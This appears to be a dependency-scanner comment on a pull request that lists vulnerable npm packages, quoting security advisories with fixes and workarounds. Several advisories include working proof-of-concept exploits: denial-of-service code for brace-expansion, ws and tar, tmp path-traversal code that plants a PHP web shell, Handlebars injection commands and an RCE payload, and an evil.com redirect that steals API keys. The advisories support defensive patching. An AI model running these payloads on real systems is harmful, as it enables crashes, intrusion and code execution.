### Vulnerability Details
|                 |                   |
| --------------------- | :-----------------------------------: |
| **CVSS V3:** | 9.8 |
| **Dependency Path:** | <details><summary><b>set-value: 0.4.3 (Transitive)</b></summary>Fix Version: 2.0.1<br></details> |

Versions of `set-value` prior to 3.0.1 or 2.0.1 are vulnerable to Prototype Pollution. The `set` function fails to validate which Object properties it updates. This allows attackers to modify the prototype of Object, causing the addition or modification of an existing property on all objects.




## Recommendation

If you are using `set-value` 3.x, upgrade to version 3.0.1 or later.
If you are using `set-value` 2.x, upgrade to version 2.0.1 or later.<br></details>

<details><summary><b>[ CVE-2019-10746 ] mixin-deep 1.3.1</b></summary>

### Vulnerability Details
|                 |                   |
| --------------------- | :-----------------------------------: |
| **CVSS V3:** | 9.8 |
| **Dependency Path:** | <details><summary><b>mixin-deep: 1.3.1 (Transitive)</b></summary>Fix Version: 1.3.2<br></details> |

Versions of `mixin-deep` prior to 2.0.1 or 1.3.2 are vulnerable to Prototype Pollution. The `mixinDeep` function fails to validate which Object properties it updates. This allows attackers to modify the prototype of Object, causing the addition or modification of an existing property on all objects.


## Recommendation

If you are using `mixin-deep` 2.x, upgrade to version 2.0.1 or later.
If you are using `mixin-deep` 1.x, upgrade to version 1.3.2 or later.<br></details>

<details><summary><b>[ CVE-2019-10744 ] lodash 4.17.11</b></summary>

### Vulnerability Details
|                 |                   |
| --------------------- | :-----------------------------------: |
| **CVSS V3:** | 9.1 |
| **Dependency Path:** | <details><summary><b>lodash: 4.17.11 (Transitive)</b></summary>Fix Version: 4.17.12<br></details> |

Versions of `lodash` before 4.17.12 are vulnerable to Prototype Pollution.  The function `defaultsDeep` allows a malicious user to modify the prototype of `Object` via `{constructor: {prototype: {...}}}` causing the addition or modification of an existing property that will exist on all objects.

## Recommendation

Update to version 4.17.12 or later.<br></details>

<details><summary><b>[ CVE-2019-10744 ] lodash 2.2.1</b></summary>

### Vulnerability Details
|                 |                   |
| --------------------- | :-----------------------------------: |
| **CVSS V3:** | 9.1 |
| **Dependency Path:** | <details><summary><b>lodash: 2.2.1 (Transitive)</b></summary>Fix Version: 4.17.12<br></details> |

Versions of `lodash` before 4.17.12 are vulnerable to Prototype Pollution.  The function `defaultsDeep` allows a malicious user to modify the prototype of `Object` via `{constructor: {prototype: {...}}}` causing the addition or modification of an existing property that will exist on all objects.

## Recommendation

Update to version 4.17.12 or later.<br></details>

<details><summary><b>[ CVE-2019-10744 ] lodash 3.10.1</b></summary>

### Vulnerability Details
|                 |                   |
| --------------------- | :-----------------------------------: |
| **CVSS V3:** | 9.1 |

Versions of `lodash` before 4.17.12 are vulnerable to Prototype Pollution.  The function `defaultsDeep` allows a malicious user to modify the prototype of `Object` via `{constructor: {prototype: {...}}}` causing the addition or modification of an existing property that will exist on all objects.

## Recommendation

Update to version 4.17.12 or later.<br></details>

<details><summary><b>[ CVE-2026-73566 ] tar 4.4.1</b></summary>

### Vulnerability Details
|                 |                   |
| --------------------- | :-----------------------------------: |
| **CVSS V3:** | 7.5 |
| **Dependency Path:** | <details><summary><b>tar: 4.4.1 (Transitive)</b></summary>Fix Version: 7.5.21<br></details> |

node-tar is a tar archive manipulation library for Node.js. Prior to 7.5.21, node-tar's filesFilter in src/list.ts uses the recursive mapHas helper to walk an archive entry path upward with path.dirname() and no segment cap when tar.t(...) or tar.x(...) receives a non-empty member-selection list. A crafted GNU L or PAX x long-path header with thousands of slash-separated segments reaches this.filter(entry.path, entry) in Parser[CONSUMEHEADER] in src/parse.ts before Unpack[CHECKPATH] applies maxDepth, causing an uncatchable RangeError stack overflow that terminates asynchronous and streaming Node.js consumers. This issue is fixed in version 7.5.21.<br></details>

<details><summary><b>[ CVE-2026-69185 ] socket.io-parser 2.3.1</b></summary>

### Vulnerability Details
|                 |                   |
| --------------------- | :-----------------------------------: |
| **CVSS V3:** | 7.5 |
| **Dependency Path:** | <details><summary><b>socket.io-parser: 2.3.1 (Transitive)</b></summary>Fix Version: 3.3.6<br></details> |

### Impact

A specially crafted Socket.IO packet can make the server wait for a large number of binary attachments and buffer them, which can be exploited to make the server run out of memory.

### Patches

| Version range    | Used by                                    | Fixed version |
|------------------|--------------------------------------------|---------------|
| `>=4.0.0 <4.2.7` | `socket.io@4.x` and `socket.io-client@4.x` | `4.2.7`       |
| `>=3.4.0 <3.4.5` | `socket.io@2.x`                            | `3.4.5`       |
| `<3.3.6`         | `socket.io-client@2.x`                     | `3.3.6`       |

### Workarounds

There is no known workaround except upgrading to a safe version.

### For more information

If you have any questions or comments about this advisory:

- Open a discussion [here](https://github.com/socketio/socket.io/discussions)<br></details>

<details><summary><b>[ CVE-2026-69152 ] brace-expansion 1.1.11</b></summary>

### Vulnerability Details
|                 |                   |
| --------------------- | :-----------------------------------: |
| **CVSS V3:** | 7.5 |
| **Dependency Path:** | <details><summary><b>brace-expansion: 1.1.11 (Transitive)</b></summary>Fix Version: 1.1.18<br></details> |

### Summary

The `maxLength` mitigation added in `5.0.8` for GHSA-mh99-v99m-4gvg / CVE-2026-14257 is incomplete. It bounds the accumulator where results are *combined*, but not the intermediate arrays that feed it. A ~25 KB input still crashes the Node process with an **uncatchable** out-of-memory error, so `try/catch` around `expand()` does not help.

A second, related path in the same function lets a ~400 KB input block the event loop for over two minutes without ever exceeding the memory bound.

### Details

`maxLength` was enforced in `combine()`, the single place output grows. Two arrays are built *before* `combine()` runs, and neither was bounded.

**1. Comma alternatives accumulate without a running total (memory exhaustion)**

Each alternative in `{a,b,c,...}` is expanded by its own recursive `expand_()` call, so each receives a full, independent `maxLength` allowance. The results were then concatenated into a single `values` array with no cumulative limit:

```js
values = []
for (let j = 0; j < n.length; j++) {
  values.push.apply(values, expand_(n[j], max, maxLength, false))
}

acc = combine(acc, pre, values, max, maxLength, ...)

With A alternatives, values can reach A * maxLength characters before combine() gets a chance to truncate it. At the default maxLength of 4,000,000 and 400 alternatives, that is well past any default heap.

2. Padded sequences ignore maxLength while generating (CPU exhaustion)

expandSequence() was bounded by max (the result count) but never consulted maxLength. A padded sequence's element width follows the input, so {0...01..100000} with a wide pad generates max elements, each as wide as the input, only for combine() to discard all but a handful.

Memory stays flat here, because V8 represents the padded strings as cons-strings, which is likely why this path was not caught alongside the original issue. The cost is time: work proportional to max * width.

pad width input bytes results kept time (5.0.8) time (patched)
20,000 20 KB 199 ~7.3 s ~20 ms
100,000 100 KB 39 ~32 s ~20 ms
400,000 400 KB 9 ~124 s ~18 ms

Output is byte-identical before and after the fix; only the wasted work is removed.

Proof of concept

Memory exhaustion, against 5.0.8:

import { expand } from 'brace-expansion'

const part = '{' + '0'.repeat(50) + '1..100000}'
const input = '{' + Array(400).fill(part).join(',') + '}'  // ~25 KB

try {
  expand(input)
} catch (e) {
  // never reached - the process is already dead
}
FATAL ERROR: Ineffective mark-compacts near heap limit Allocation failed - JavaScript heap out of memory
Aborted

Event-loop stall, against 5.0.8:

import { expand } from 'brace-expansion'

// ~400 KB input, returns 9 results after roughly two minutes of blocking CPU
expand('{' + '0'.repeat(400_000) + '1..100000}')

Impact

Denial of service. Any application that passes attacker-controlled input to expand(), directly or transitively through a glob or pattern-matching library, can be remotely crashed or stalled. The out-of-memory variant terminates the process and cannot be handled with try/catch.

Applications already on 5.0.8 are affected: the 5.0.8 mitigation does not cover these paths.

Patches

Both intermediate arrays are now bounded as they are built, using the same max and maxLength limits already applied in combine():

  • values tracks a running result count and character length while alternatives are appended, and stops once either bound is reached.
  • expandSequence() accepts maxLength and stops generating once the sequence's own characters reach it.

As with the existing limits, output is truncated rather than allowed to grow without bound, which matches how max already behaves. The defaults sit well above any realistic expansion, so legitimate input is unaffected.

Workarounds

If upgrading is not immediately possible, avoid passing untrusted input to expand() or to glob brace patterns, or pass an explicitly small max and maxLength.

Note that a small maxLength alone was not sufficient on affected versions: it was applied per alternative rather than cumulatively, which is the root of the first issue above.

Credits

The memory-exhaustion bypass was reported by Alessio Della Libera, CEO & Co-founder at Numyra.

The sequence-generation issue was found while verifying that report.

[ CVE-2026-59874 ] tar 4.4.1

Vulnerability Details

CVSS V3: 7.5
Dependency Path:
tar: 4.4.1 (Transitive)Fix Version: 7.5.18

Summary

A checksum-valid tar archive with a negative base-256 encoded entry size can make tar.replace() loop forever while scanning the existing archive. Applications that update attacker-controlled tar archives can have a worker process pinned indefinitely, causing denial of service.

Details

The public tar.replace() API scans the existing archive before appending replacement entries. During this scan, it parses each tar header and advances the archive position by the parsed entry size rounded to a 512-byte block boundary.

Tar supports base-256 encoded numeric fields. A crafted header can encode the entry size as -512 while still carrying a valid checksum. The replace scan accepts that parsed negative size and uses it in the position-advance calculation.

For a size of -512, the computed body skip is -512. The scan then adds the normal 512-byte header step, resulting in no net progress. The scanner repeatedly parses the same header forever and never reaches the append step.

This is reachable through the supported package API when the existing archive file is attacker controlled. It does not rely on extraction, dependency behavior, or an uncaught exception.

PoC

Save as poc.mjs in a project with the vulnerable package installed and run:

node poc.mjs
import fs from 'node:fs'
import os from 'node:os'
import path from 'node:path'
import { spawnSync } from 'node:child_process'

const oct = (b, n, off, len) =>
  b.write(n.toString(8).padStart(len - 1, '0') + '\0', off, len, 'ascii')

const badHeader = () => {
  const h = Buffer.alloc(512)

  h.write('x', 0)
  oct(h, 0o644, 100, 8)
  oct(h, 0, 108, 8)
  oct(h, 0, 116, 8)

  // base-256 encoded -512 in the size field
  Buffer.alloc(10, 0xff).copy(h, 124)
  h[134] = 0xfe
  h[135] = 0x00

  oct(h, 0, 136, 12)
  h.fill(0x20, 148, 156)
  h[156] = 0x30
  h.write('ustar\0' + '00', 257, 8, 'binary')

  let sum = 0
  for (const c of h) sum += c
  h.write(sum.toString(8).padStart(6, '0') + '\0 ', 148, 8, 'ascii')

  return h
}

const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'tar-loop-'))
const file = path.join(dir, 'poc.tar')

fs.writeFileSync(file, badHeader())
fs.writeFileSync(path.join(dir, 'add.txt'), 'x')

const r = spawnSync(
  process.execPath,
  [
    '--input-type=module',
    '-e',
    `
      import * as tar from 'tar'
      tar.replace({ file: ${JSON.stringify(file)}, cwd: ${JSON.stringify(dir)}, sync: true }, ['add.txt'])
      console.log('completed')
    `,
  ],
  { timeout: 20_000 }
)

console.log(r.error?.code === 'ETIMEDOUT')

// Output: true

Impact

An application that calls tar.replace() on an existing archive supplied or controlled by an attacker can be forced into a non-terminating archive scan. This can consume a worker process indefinitely and cause denial of service. Plain extraction-only workflows are not affected by this finding.

[ CVE-2026-59871 ] tar 4.4.1

Vulnerability Details

CVSS V3: 7.5
Dependency Path:
tar: 4.4.1 (Transitive)Fix Version: 7.5.18

Summary

A crafted 2.5KB tar archive crashes any Node.js process that extracts it. The PAX header parser coerces all-digit path values to JavaScript numbers, which causes an uncaught TypeError when downstream code calls .split('/') on the numeric value. Error handlers and strict: false cannot intercept the crash.

Details

In pax.ts line 180, parseKV converts PAX values matching /^[0-9]+$/ to numbers via +v. This applies to all fields including path and linkpath. When a PAX header sets path to an all-digit string like "12345", the value becomes the number 12345.

This number flows through Header -> ReadEntry -> Unpack.CHECKPATH, where normalizeWindowsPath(entry.path).split('/') throws a TypeError because numbers don't have .split().

The throw is synchronous during event emission and bypasses all error handling:

  • strict: false does not help
  • 'error' event handlers do not catch it
  • 'warn' handlers do not catch it
  • The TypeError propagates through the event emitter stack as an uncaughtException

Directory, SymbolicLink, and Link type entries reach CHECKPATH and crash. File type entries crash earlier in Header constructor at this.path.slice(-1), but that throw is caught and emitted as a warning only.

PoC

Create a tar archive with a PAX extended header containing an all-digit path:

PAX header body: "18 path=12345\n"
Entry type: Directory (type '5')

Extract it:

const tar = require('tar');

// All of these crash with TypeError: t.split is not a function
tar.extract({ file: 'malicious.tar', cwd: '/tmp/test' });

// Error handlers don't help:
tar.extract({ file: 'malicious.tar', cwd: '/tmp/test', strict: false })
  .on('error', (err) => { /* never reached */ })
  .on('warn', (code, msg) => { /* never reached */ });

The archive is ~2.5KB. The crash is deterministic on every attempt.

Impact

Denial of service. Any application or tool that extracts untrusted tar archives crashes from a single small file. This includes npm (which uses node-tar to extract packages), CI/CD pipelines, file upload processors, and backup tools. The crash cannot be caught by application-level error handling.

[ CVE-2026-56876 ] extract-zip 1.6.7

Vulnerability Details

CVSS V3: 8.1
Dependency Path:
extract-zip: 1.6.7 (Transitive)

extract-zip does not validate symlink targets when extracting zip archives. When processing a malicious zip file containing a symlink with a relative path like '../../../../etc/passwd', extract-zip will extract the symlink without validation, allowing it to point outside the extraction directory. Depending on how extract-zip is used, an attacker could read or write to arbitrary files.

[ CVE-2026-48779 ] ws 1.1.5

Vulnerability Details

CVSS V3: 7.5
Dependency Path:
ws: 1.1.5 (Transitive)Fix Version: 5.2.5

Impact

A high volume of exceptionally small fragments and data chunks can be sent by a peer, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM.

Proof of concept

import { WebSocket, WebSocketServer } from 'ws';

const wss = new WebSocketServer({ port: 0 }, function () {
  const data = Buffer.alloc(1);
  const options = { fin: false };
  const { port } = wss.address();
  const ws = new WebSocket(`ws://localhost:${port}`);

  ws.on('open', function () {
    (function send() {
      ws.send(data, options, function (err) {
        if (err) return;
        send();
      });
    })();
  });

  ws.on('error', console.error);
  ws.on('close', function (code, reason) {
    console.log(`client close - code: ${code} reason: ${reason.toString()}`);
  });
});

wss.on('connection', function (ws) {
  ws.on('error', console.error);
  ws.on('close', function (code, reason) {
    console.log(`server close - code: ${code} reason: ${reason.toString()}`);
  });
});

Patches

The vulnerability was fixed in ws@8.21.0 (websockets/ws@bca91ad) and backported to ws@7.5.11 (websockets/ws@fd36cd8), ws@6.2.4 (websockets/ws@86d3e8a), and ws@5.2.5 (websockets/ws@b5372ac).

Workarounds

In vulnerable versions, the issue can be mitigated by lowering the value of the maxPayload option if possible.

Credits

The vulnerability was responsibly disclosed and fixed by Nadav Magier.

[ CVE-2026-44705 ] tmp 0.0.33

Vulnerability Details

CVSS V3: 8.2
Dependency Path:
tmp: 0.0.33 (Transitive)Fix Version: 0.2.6

Summary

The tmp npm package contains a path traversal vulnerability that allows escaping the intended temporary directory when untrusted data flows into the prefix, postfix, or dir options. By embedding traversal sequences (e.g., ../) or path separators in these parameters, attackers can cause files to be created outside the configured temporary base directory at attacker-controlled locations with the privileges of the running process. This vulnerability affects applications that pass user-controlled data to tmp's file/directory creation functions without proper input sanitization.

Details

Root Cause:
The vulnerability exists in tmp's path construction logic where user-supplied options are directly concatenated into file paths without sanitization or validation.

Technical Flow:

  1. Filename Construction: tmp builds filenames as <prefix>-<pid>-<random>-<postfix>
  2. Path Composition: Final path computed as path.join(tmpDir, opts.dir, name)
  3. Path Normalization: Node.js path.join() normalizes traversal sequences, allowing escape
  4. File Creation: File created at the resulting (potentially escaped) path

Vulnerable Pattern:

// In tmp package internals
const name = `${opts.prefix || ''}-${process.pid}-${randomString}-${opts.postfix || ''}`;
const finalPath = path.join(tmpDir, opts.dir || '', name);
// No validation that finalPath remains within tmpDir

Path Traversal Mechanics:

  • prefix/postfix traversal: ../../../evil in prefix escapes directory structure
  • Absolute path bypass: If opts.dir is absolute, path.join() ignores tmpDir completely
  • Normalization exploitation: path.join() resolves ../ sequences regardless of surrounding text
  • Cross-platform impact: Works on Windows (..\\), Unix (../), and mixed path systems

Key Vulnerability Points:

  • No input validation on prefix, postfix, or dir parameters
  • Direct use of user input in path construction
  • Reliance on path.join() normalization without containment checks
  • Missing post-construction validation that final path remains within intended directory

PoC

Basic Path Traversal via prefix:

const tmp = require('tmp');
const path = require('path');
const fs = require('fs');

// Create a controlled base directory
const baseDir = fs.mkdtempSync('/tmp/safe-base-');
console.log('Base directory:', baseDir);

// Escape via prefix
tmp.file({ 
  tmpdir: baseDir, 
  prefix: '../escaped' 
}, (err, filepath, fd, cleanup) => {
  if (err) throw err;
  
  console.log('Created file:', filepath);
  console.log('Relative to base:', path.relative(baseDir, filepath));
  // Output shows: ../escaped-<pid>-<random>
  
  cleanup();
});

Directory Escape via postfix:

tmp.file({ 
  tmpdir: baseDir, 
  postfix: '/../../pwned.txt' 
}, (err, filepath, fd, cleanup) => {
  if (err) throw err;
  
  console.log('Escaped file:', filepath);
  console.log('Escaped outside base:', !filepath.startsWith(baseDir));
  
  cleanup();
});

Absolute Path Bypass via dir:

tmp.file({ 
  tmpdir: '/safe/tmp/dir', 
  dir: '/tmp/evil-location',
  prefix: 'bypassed'
}, (err, filepath, fd, cleanup) => {
  if (err) throw err;
  
  console.log('Bypassed to:', filepath);
  // File created in /tmp/evil-location instead of /safe/tmp/dir
  
  cleanup();
});

Advanced Multi-Vector Attack:

const maliciousOpts = {
  tmpdir: '/app/safe-tmp',
  dir: '../../../tmp',           // Escape base
  prefix: '../sensitive-area/',   // Further traversal
  postfix: 'malicious.config'     // Controlled filename
};

tmp.file(maliciousOpts, (err, filepath, fd, cleanup) => {
  // Results in file creation at: /tmp/sensitive-area/malicious.config
  console.log('Final malicious path:', filepath);
  cleanup();
});

Real-World Attack Simulation:

// Simulate web API that accepts user file prefix
function createUserTempFile(userPrefix, content) {
  return new Promise((resolve, reject) => {
    tmp.file({ prefix: userPrefix }, (err, path, fd, cleanup) => {
      if (err) return reject(err);
      
      fs.writeSync(fd, content);
      console.log('User file created at:', path);
      resolve({ path, cleanup });
    });
  });
}

// Attacker input
const attackerPrefix = '../../../var/www/html/backdoor';
createUserTempFile(attackerPrefix, '<?php system($_GET["cmd"]); ?>');
// Creates PHP backdoor in web root instead of temp directory

Impact

Arbitrary File Creation:

  • Files created outside intended temporary directories
  • Attacker control over file placement location
  • Potential to overwrite existing files (depending on creation flags)
  • Cross-platform exploitation capability

Attack Scenarios:

1. Web Application Configuration Poisoning:

  • User uploads file with malicious prefix/postfix
  • tmp creates "temporary" file in application configuration directory
  • Malicious configuration loaded on next application restart

2. Cache Poisoning:

  • Application caches user content using tmp
  • Attacker escapes to cache directory of different user/tenant
  • Poisoned cache serves malicious content to other users

3. Build Pipeline Compromise:

  • CI/CD system processes user PRs with tmp usage
  • Malicious prefix escapes to build output directories
  • Compromised build artifacts deployed to production

4. Container Escape Attempt:

  • Containerized application uses tmp with user input
  • Attacker attempts to escape container temp restrictions
  • Files created in host-mapped volumes or sensitive container areas

5. Multi-Tenant Service Bypass:

  • SaaS platform isolates tenants using separate tmp directories
  • Tenant A escapes their tmp space to tenant B's area
  • Cross-tenant data access and potential privilege escalation

Business Impact:

  • Data Integrity: Unauthorized file placement can corrupt application state
  • Service Disruption: Files in wrong locations may break application functionality
  • Security Bypass: Escape temporary isolation boundaries
  • Compliance Violations: Files containing sensitive data placed in uncontrolled locations

Affected Products

  • Ecosystem: npm
  • Package name: tmp
  • Repository: github.com/raszi/node-tmp
  • Affected versions: All versions with vulnerable path construction logic
  • Patched versions: None currently available

Component Impact:

  • tmp.file() function - vulnerable to prefix/postfix/dir traversal
  • tmp.dir() function - vulnerable to same parameter manipulation
  • tmp.tmpName() function - if using affected path construction

Severity: High
CVSS v3.1: 8.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L)

CWE Classification:

  • CWE-22: Improper Limitation of a Pathname to a Restricted Directory (Path Traversal)

Remediation

Input Validation and Sanitization:

  1. Sanitize prefix/postfix:
function sanitizePrefix(prefix) {
  if (!prefix) return '';
  // Remove path separators and traversal sequences
  return path.basename(String(prefix)).replace(/[\.\/\\]/g, '-');
}

function sanitizePostfix(postfix) {
  if (!postfix) return '';
  // Allow only safe characters
  return String(postfix).replace(/[^A-Za-z0-9._-]/g, '');
}
  1. Validate dir parameter:
function validateDir(dir, baseDir) {
  if (!dir) return '';
  
  // Reject absolute paths
  if (path.isAbsolute(dir)) {
    throw new Error('Absolute paths not allowed for dir option');
  }
  
  // Resolve and check containment
  const resolved = path.resolve(baseDir, dir);
  const relative = path.relative(baseDir, resolved);
  
  if (relative.startsWith('..') || path.isAbsolute(relative)) {
    throw new Error('Dir option escapes base directory');
  }
  
  return dir;
}
  1. Post-construction path validation:
function validateFinalPath(finalPath, baseDir) {
  const resolved = path.resolve(finalPath);
  const relative = path.relative(path.resolve(baseDir), resolved);
  
  if (relative.startsWith('..') || path.isAbsolute(relative)) {
    throw new Error('Generated path escapes temporary directory');
  }
  
  return resolved;
}

Secure Implementation Pattern:

function createTempFile(options) {
  const opts = { ...options };
  
  // Sanitize inputs
  opts.prefix = sanitizePrefix(opts.prefix);
  opts.postfix = sanitizePostfix(opts.postfix);
  opts.dir = validateDir(opts.dir, opts.tmpdir);
  
  // Create with sanitized options
  return tmp.file(opts, (err, path, fd, cleanup) => {
    if (err) return callback(err);
    
    // Validate final path
    try {
      validateFinalPath(path, opts.tmpdir);
    } catch (validationErr) {
      cleanup();
      return callback(validationErr);
    }
    
    callback(null, path, fd, cleanup);
  });
}

Workarounds

For Application Developers:

  1. Input Sanitization:
// Sanitize before passing to tmp
function safeTmpFile(userOptions) {
  const safeOpts = {
    ...userOptions,
    prefix: userOptions.prefix ? path.basename(userOptions.prefix) : undefined,
    postfix: userOptions.postfix ? userOptions.postfix.replace(/[^A-Za-z0-9._-]/g, '') : undefined,
    dir: undefined // Don't allow user-controlled dir
  };
  
  return tmp.file(safeOpts);
}
  1. Path Validation:
function validateTmpPath(tmpPath, expectedBase) {
  const relativePath = path.relative(expectedBase, tmpPath);
  if (relativePath.startsWith('..') || path.isAbsolute(relativePath)) {
    throw new Error('Temporary file path escaped base directory');
  }
  return tmpPath;
}
  1. Restricted Usage:
// Only use tmp with known-safe, literal values
tmp.file({ prefix: 'app-temp-', postfix: '.tmp' }, callback);
// Never: tmp.file({ prefix: userInput }, callback);

For Security Teams:

  1. Code Review Patterns:
# Search for dangerous tmp usage
grep -r "tmp\.file.*prefix.*req\|tmp\.file.*postfix.*req" .
grep -r "tmp\.dir.*opts\|tmp\.file.*opts" .
  1. Runtime Monitoring:
// Monitor for files created outside expected temp areas
const originalFile = tmp.file;
tmp.file = function(options, callback) {
  return originalFile(options, (err, path, fd, cleanup) => {
    if (!err && options.tmpdir) {
      const relative = require('path').relative(options.tmpdir, path);
      if (relative.startsWith('..')) {
        console.warn('Path traversal detected:', path);
      }
    }
    return callback(err, path, fd, cleanup);
  });
};

Detection and Monitoring

Static Analysis:

  • Scan for tmp usage with user-controlled input
  • Identify unsanitized parameter passing to tmp functions
  • Review file creation patterns in temporary directories

Runtime Detection:

// Log suspicious tmp operations
function monitorTmpUsage() {
  const originalTmpFile = require('tmp').file;
  
  require('tmp').file = function(options = {}, callback) {
    // Check for suspicious patterns
    const suspicious = [
      options.prefix && options.prefix.includes('..'),
      options.postfix && options.postfix.includes('..'),  
      options.dir && path.isAbsolute(options.dir)
    ].some(Boolean);
    
    if (suspicious) {
      console.warn('Suspicious tmp usage detected:', options);
    }
    
    return originalTmpFile.call(this, options, callback);
  };
}

File System Monitoring:

# Monitor file creation outside expected temp directories
inotifywait -m -r --format '%w%f %e' /tmp /var/tmp | while read file event; do
  if [[ "$event" == *"CREATE"* && "$file" != /tmp/tmp-* ]]; then
    echo "Unexpected file creation: $file"
  fi
done

Acknowledgements

Reported by: Mapta / BugBunny_ai

[ CVE-2026-40895 ] follow-redirects 1.5.9

Vulnerability Details

CVSS V3: 7.5
Dependency Path:
follow-redirects: 1.5.9 (Transitive)Fix Version: 1.16.0

Summary

When an HTTP request follows a cross-domain redirect (301/302/307/308), follow-redirects only strips authorization, proxy-authorization, and cookie headers (matched by regex at index.js:469-476). Any custom authentication header (e.g., X-API-Key, X-Auth-Token, Api-Key, Token) is forwarded verbatim to the redirect target.

Since follow-redirects is the redirect-handling dependency for axios (105K+ stars), this vulnerability affects the entire axios ecosystem.

Affected Code

index.js, lines 469-476:

if (redirectUrl.protocol !== currentUrlParts.protocol &&
   redirectUrl.protocol !== "https:" ||
   redirectUrl.host !== currentHost &&
   !isSubdomain(redirectUrl.host, currentHost)) {
  removeMatchingHeaders(/^(?:(?:proxy-)?authorization|cookie)$/i, this._options.headers);
}

The regex only matches authorization, proxy-authorization, and cookie. Custom headers like X-API-Key are not matched.

Attack Scenario

  1. App uses axios with custom auth header: headers: { 'X-API-Key': 'sk-live-secret123' }
  2. Server returns 302 Location: https://evil.com/steal
  3. follow-redirects sends X-API-Key: sk-live-secret123 to evil.com
  4. Attacker captures the API key

Impact

Any custom auth header set via axios leaks on cross-domain redirect. Extremely common pattern. Affects all axios users in Node.js.

Suggested Fix

Add a sensitiveHeaders option that users can extend, or strip ALL non-standard headers on cross-domain redirect.

Disclosure

Source code review, manually verified. Found 2026-03-20.

[ CVE-2026-33941 ] handlebars 4.0.12

Vulnerability Details

CVSS V3: 8.2
Dependency Path:
handlebars: 4.0.12 (Transitive)Fix Version: 4.7.9

Summary

The Handlebars CLI precompiler (bin/handlebars / lib/precompiler.js) concatenates user-controlled strings — template file names and several CLI options — directly into the JavaScript it emits, without any escaping or sanitization. An attacker who can influence template filenames or CLI arguments can inject arbitrary JavaScript that executes when the generated bundle is loaded in Node.js or a browser.

Description

lib/precompiler.js generates JavaScript source by string-interpolating several values directly into the output. Four distinct injection points exist:

1. Template name injection

// Vulnerable code pattern
output += 'templates["' + template.name + '"] = template(...)';

template.name is derived from the file system path. A filename containing " or ']; breaks out of the string literal and injects arbitrary JavaScript.

2. Namespace injection (-n / --namespace)

// Vulnerable code pattern
output += 'var templates = ' + opts.namespace + ' = ' + opts.namespace + ' || {};';

opts.namespace is emitted as raw JavaScript. Anything after a ; in the value becomes an additional JavaScript statement.

3. CommonJS path injection (-c / --commonjs)

// Vulnerable code pattern
output += 'var Handlebars = require("' + opts.commonjs + '");';

opts.commonjs is interpolated inside double quotes with no escaping, allowing " to close the string and inject further code.

4. AMD path injection (-h / --handlebarPath)

// Vulnerable code pattern
output += "define(['" + opts.handlebarPath + "handlebars.runtime'], ...)";

opts.handlebarPath is interpolated inside single quotes, allowing ' to close the array element.

All four injection points result in code that executes when the generated bundle is require()d or loaded in a browser.

Proof of Concept

Template name vector (creates a file pwned on disk):

mkdir -p templates
printf 'Hello' > "templates/evil'] = (function(){require(\"fs\").writeFileSync(\"pwned\",\"1\")})(); //.handlebars"

node bin/handlebars templates -o out.js
node -e 'require("./out.js")'  # Executes injected code, creates ./pwned

Namespace vector:

node bin/handlebars templates -o out.js \
  -n "App.ns; require('fs').writeFileSync('pwned2','1'); //"
node -e 'require("./out.js")'

CommonJS vector:

node bin/handlebars templates -o out.js \
  -c 'handlebars"); require("fs").writeFileSync("pwned3","1"); //'
node -e 'require("./out.js")'

AMD vector:

node bin/handlebars templates -o out.js -a \
  -h "'); require('fs').writeFileSync('pwned4','1'); // "
node -e 'require("./out.js")'

Workarounds

  • Validate all CLI inputs before invoking the precompiler. Reject filenames and option values that contain characters with JavaScript string-escaping significance (", ', ;, etc.).
  • Use a fixed, trusted namespace string passed via a configuration file rather than command-line arguments in automated pipelines.
  • Run the precompiler in a sandboxed environment (container with no write access to sensitive paths) to limit the impact of successful exploitation.
  • Audit template filenames in any repository or package that is consumed by an automated build pipeline.

@buildguy

Copy link
Copy Markdown

📦 Vulnerable Dependencies

🔖 Details

[ CVE-2026-33940 ] handlebars 4.0.12

Vulnerability Details

CVSS V3: 8.1
Dependency Path:
handlebars: 4.0.12 (Transitive)Fix Version: 4.7.9

Summary

A crafted object placed in the template context can bypass all conditional guards in resolvePartial() and cause invokePartial() to return undefined. The Handlebars runtime then treats the unresolved partial as a source that needs to be compiled, passing the crafted object to env.compile(). Because the object is a valid Handlebars AST containing injected code, the generated JavaScript executes arbitrary commands on the server. The attack requires the adversary to control a value that can be returned by a dynamic partial lookup.

Description

The vulnerable code path spans two functions in lib/handlebars/runtime.js:

resolvePartial(): A crafted object with call: true satisfies the first branch condition (partial.call) and causes an early return of the original object itself, because none of the remaining conditionals (string check, options.partials lookup, etc.) match a plain object. The function returns the crafted object as-is.

invokePartial(): When resolvePartial returns a non-function object, invokePartial produces undefined. The runtime interprets undefined as "partial not yet compiled" and calls env.compile(partial, ...) where partial is the crafted AST object. The JavaScript code generator processes the AST and emits JavaScript containing the injected payload, which is then evaluated.

Minimum prerequisites:

  1. The template uses a dynamic partial lookup: {{> (lookup . "key")}} or equivalent.
  2. The adversary can set the value of the looked-up context property to a crafted object.

In server-side rendering scenarios where templates process user-supplied context data, this enables full Remote Code Execution.

Proof of Concept

const Handlebars = require('handlebars');

const vulnerableTemplate = `{{> (lookup . "payload")}}`;

const maliciousContext = {
  payload: {
    call: true, // bypasses the primary resolvePartial branch
    type: "Program",
    body: [
      {
        type: "MustacheStatement",
        depth: 0,
        path: {
          type: "PathExpression",
          parts: ["pop"],
          original: "this.pop",
          // Injected code breaks out of the generated function's argument list
          depth: "0])),function () {console.error('VULNERABLE: object -> dynamic partial -> RCE');}()));//",
        },
      },
    ],
  },
};

Handlebars.compile(vulnerableTemplate)(maliciousContext);
// Prints: VULNERABLE: object -> dynamic partial -> RCE

Workarounds

  • Use the runtime-only build (require('handlebars/runtime')). Without compile(), the fallback compilation path in invokePartial is unreachable.
  • Sanitize context data before rendering: ensure no value in the context is a non-primitive object that could be passed to a dynamic partial.
  • Avoid dynamic partial lookups ({{> (lookup ...)}}) when context data is user-controlled.
[ CVE-2026-33939 ] handlebars 4.0.12

Vulnerability Details

CVSS V3: 7.5
Dependency Path:
handlebars: 4.0.12 (Transitive)Fix Version: 4.7.9

Summary

When a Handlebars template contains decorator syntax referencing an unregistered decorator (e.g. {{*n}}), the compiled template calls lookupProperty(decorators, "n"), which returns undefined. The runtime then immediately invokes the result as a function, causing an unhandled TypeError: ... is not a function that crashes the Node.js process. Any application that compiles user-supplied templates without wrapping the call in a try/catch is vulnerable to a single-request Denial of Service.

Description

